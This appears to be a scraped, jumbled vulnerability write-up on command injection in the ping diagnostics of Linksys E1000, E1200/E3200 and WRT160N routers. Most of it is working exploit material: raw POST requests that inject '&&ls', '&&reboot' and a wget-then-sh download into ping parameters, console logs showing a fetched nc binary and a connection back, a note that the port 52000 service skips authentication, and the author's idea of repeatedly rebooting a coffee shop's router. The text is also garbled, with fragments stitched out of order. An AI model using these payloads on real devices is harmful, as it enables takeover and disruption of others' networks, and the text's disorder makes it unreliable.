Wrt160n validating

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On the E1200/E3200, I was unable to execute any commands appended onto the IP address, as I did with the E1000.It appears that there is validation being done on that value, which prevents the ping command string from being constructed.Sending SIGKILL to all processes Restarting system.Decompressing using gzip..........Decompressing using gzip..........Start to blink diag led …CFE version 1.0.37 for BCM947XX (32bit, SP, LE)Build Date: 01/13/10 CST ([email protected]_pc)-snip- The first thought that popped into my head after seeing this was that it'd be awfully easy to perform a social/psychological experiment by walking into a coffee shop that is equipped with an E1000 and repeatedly bouncing their router. The best part is that I don't even need to defeat any authentication mechanisms to do so!PING 127.0.0.1 (127.0.0.1): 24 data bytes32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.4/0.4/0.5 msls: illegal option -- f Busy Box v0.60.0 (20- 0000) multi-call binary Usage: ls [-1Aac Cde Filnps Ttuwxhk] [filenames…]Hit enter to continue…

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submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32 127.0.0.1&&wget -O /tmp/n&&sh /tmp/n &traceroute_ip= HTTP/1.1Host: 192.168.1.000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate Referer: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 2# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget -O /tmp/n&&sh /tmp/n ]cmd=[/sbin/diag_pingbutton ]cmd=[killall ping ]killall: ping: no process killedcmd=[ping -c 5 -s 32 127.0.0.1&&wget -O /tmp/n&&sh /tmp/n ]PING 127.0.0.1 (127.0.0.1): 32 data bytes40 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.9 ms40 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.5 ms40 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.5 ms40 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.5 ms40 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.5 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.5/0.5/0.9 ms Connecting to 192.168.1.128 (192.168.1.1)n 100% |*******************************| 91 --:--:-- ETAConnecting to 192.168.1.128 (192.168.1.1)nc 100% |*******************************| 3520k ETAConnection from 192.168.1.1845 Though all of these models are still widely used, the E1200 is the only one still supported by Linksys.Within the Ping Test portion of this page, there are three parameters that accept user input: ping_ip, ping_size, and ping_times.Though there seems to be some sort of input validation going on for the value passed via the ping_ip parameter, it is possible to execute arbitrary commands by appending them after a valid IP address using two ampersand characters: POST request: POST /HTTP/1.1Host: 192.168.1.000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate Referer: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 163submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&&ls&ping_times=5&ping_size=32&traceroute_ip=# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/127.0.0.1&&ls &]cmd=[killall ping ](6033)killall: ping: no process killedwwwvarusrtmpsyssbinprocmntlibetcdevbin POST /HTTP/1.1Host: 192.168.1.000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate Referer: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 167submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&&reboot&ping_times=5&ping_size=32&traceroute_ip=# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&reboot] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/127.0.0.1&&reboot &]cmd=[killall ping ](24118)killall: ping: no process killed Terminated...........................………Sending SIGTERM to all processesinfo, Received SIGTERMUPn P::upnp_device_detach:br0: detach Internet Gateway UPn P::upnp_shutdown: UPn P daemon stopped UPn P::upnp_mainloop: UPn P shutdown!For the other models, authentication is not required when the router is in its factory default state but is required once the router has been configured using Cisco Connect software or configured manually.This is because an HTTP service running on TCP port 52000, which is used by Cisco Connect for initial configuration, does not prompt users for credentials like the HTTP service running by default on TCP port 80 does.

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